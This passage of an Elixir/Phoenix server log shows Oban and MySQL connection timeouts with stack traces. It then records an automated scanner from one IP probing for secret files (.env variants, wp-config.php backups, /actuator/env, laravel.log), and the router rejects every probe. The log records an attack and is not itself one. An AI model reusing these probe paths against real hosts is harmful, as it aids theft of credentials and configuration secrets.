    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:03:30.681000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:03:35.682000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 07:03:39.767000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1161.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 07:11:59.148000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55326] GET /.env
[Sat Sep  5 07:11:59.211000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55510] GET /wp-config.php~
[Sat Sep  5 07:11:59.219000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55326] ** (Phoenix.Router.NoRouteError) no route found for GET /.env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.302000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55510] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php~ (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.491000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55494] GET /wp-config.php.bak
[Sat Sep  5 07:11:59.510000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55494] ** (Phoenix.Router.NoRouteError) no route found for GET /wp-config.php.bak (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.541000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55340] GET /.env.local
[Sat Sep  5 07:11:59.546000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55384] GET /.env.backup
[Sat Sep  5 07:11:59.547000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55458] GET /env
[Sat Sep  5 07:11:59.548000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55370] GET /.env.prod
[Sat Sep  5 07:11:59.545000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55398] GET /.env.bak
[Sat Sep  5 07:11:59.550000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55446] GET /actuator/configprops
[Sat Sep  5 07:11:59.551000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55474] GET /_ignition/health-check
[Sat Sep  5 07:11:59.551000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55406] GET /.env.old
[Sat Sep  5 07:11:59.588000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55356] GET /.env.production
[Sat Sep  5 07:11:59.632000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55430] GET /actuator/env
[Sat Sep  5 07:11:59.631000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55340] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.local (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.637000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55384] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.backup (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.638000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55458] ** (Phoenix.Router.NoRouteError) no route found for GET /env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.640000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55370] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.prod (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.643000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55446] ** (Phoenix.Router.NoRouteError) no route found for GET /actuator/configprops (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.644000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55406] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.old (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.644000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55474] ** (Phoenix.Router.NoRouteError) no route found for GET /_ignition/health-check (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.646000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55398] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.bak (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.659000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55356] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.production (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.664000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55430] ** (Phoenix.Router.NoRouteError) no route found for GET /actuator/env (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.673000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55418] GET /.env.dev
[Sat Sep  5 07:11:59.675000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55480] GET /crusader-404-probe
[Sat Sep  5 07:11:59.675000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55514] GET /wp-config.php.swp
[Sat Sep  5 07:11:59.679000 2026] [Phoenix.Logger:info] [pid 2816631] [client 34.29.44.117:55530] GET /storage/logs/laravel.log
[Sat Sep  5 07:11:59.710000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55418] ** (Phoenix.Router.NoRouteError) no route found for GET /.env.dev (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:11:59.715000 2026] [Plug.Debugger:debug] [pid 2816631] [client 34.29.44.117:55480] ** (Phoenix.Router.NoRouteError) no route found for GET /crusader-404-probe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
